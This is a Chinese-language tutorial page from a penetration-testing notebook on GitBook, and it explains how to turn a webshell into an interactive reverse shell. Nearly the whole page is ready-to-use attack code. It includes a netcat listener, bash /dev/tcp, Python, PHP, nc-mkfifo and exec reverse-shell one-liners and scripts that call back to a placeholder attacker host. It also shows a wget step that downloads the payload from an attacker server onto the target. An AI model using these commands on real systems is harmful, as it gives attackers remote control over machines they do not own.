Shell 反弹

当拿到webshell的时候,因为webshell的环境是虚拟终端,不是交互型终端,很多命令是无法执行的,所以需要拿到交互式shell,就得反弹shell

工具准备

  • VPS(公网ip)
  • python环境
  • nc(netcat)
  • Ubuntu(宿主机)

反弹shell 步骤

首先在vps上使用netcat开启监听

nc -lvnp 8080

参数

  • -l:使用监听模式,监控传入的资料;
  • -v:显示指令执行过程;
  • -n:直接使用ip地址,而不通过域名服务器;
  • -p:<通信端口>:设置本地主机使用的通信端口

  • 测试

    在Ubuntu上开启tcp8080端口,通过上图可以看见nc 监听了本地的8080端口,且是TCP协议

  • 在监听机上(vps)上监听8080端口

bash反弹

bash -i >& /dev/tcp/<your_vps>/8080 0>&1
  • bash -i : 产生一个bash的交互环境;
  • >&:将联合符号前面的内容与后面的内容相结合然后一起重定向给后者;
  • /dev/tcp//8080:与目标主机ip/8080端口建立一个TCP连接;
  • 0>&1:将标准输入与标准输出相结合,重定向到前面标准输出内容

python一句话反弹shell

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<your_vps>",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

这样虽然反弹回来了,但是看不到用户是谁,此时可以使用python 一句话反弹用户

python -c "import pty;pty.spawn('/bin/bash')"

python 脚本执行

import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("<your_vps>",8080));
os.dup2(s.fileno(),0); 
os.dup2(s.fileno(),1); 
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);

当拿到webshell权限之后,可以上传此脚本,只要目标服务器有python环境,即可执行此脚本,并在攻击机上反弹回shell

也可以将此脚本上传至攻击服务器上,使用wget 下载攻击机上的文件,然后再目标服务器上下载此文件(目标服务器有wget命令的情况下)

针对第二种方法介绍(由于第一种方法可以在菜刀,蚁剑等工具直接上传较简单)

首先在vps中开启Apache

service apaache2 restart

将脚本放置在/var/www/html 目录下

在目标服务器上下载此脚本

wget http://ip/shell.py

在宿主机上执行shell.py(注意权限)

PHP 一句话执行

要求宿主机上拥有php环境

php -r '$sock=fsockopen("<your_vps>",8080);exec("/bin/sh -i <&3 >&3 2>&3");'

PHP 脚本

<?php $sock=fsockopen("<your_vps>",8080);exec("/bin/sh -i <&3 >&3 2>&3");?>

nc命令获取靶机的反弹shell

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <your_vps> 8080 >/tmp/f

exec 反弹

0<&196;exec 196<>/dev/tcp/<your_vps>/1024; sh <&196 >&196 2>&196

webshell 下反弹shell

蚁剑连接webshell下

在webshell 下操作可行的有

  • python 脚本执行
  • PHP 脚本

Copyright © aaron 2023 all right reserved,powered by Gitbook该文章修订时间: 2023-06-02 22:41:22

results matching ""

    No results matching ""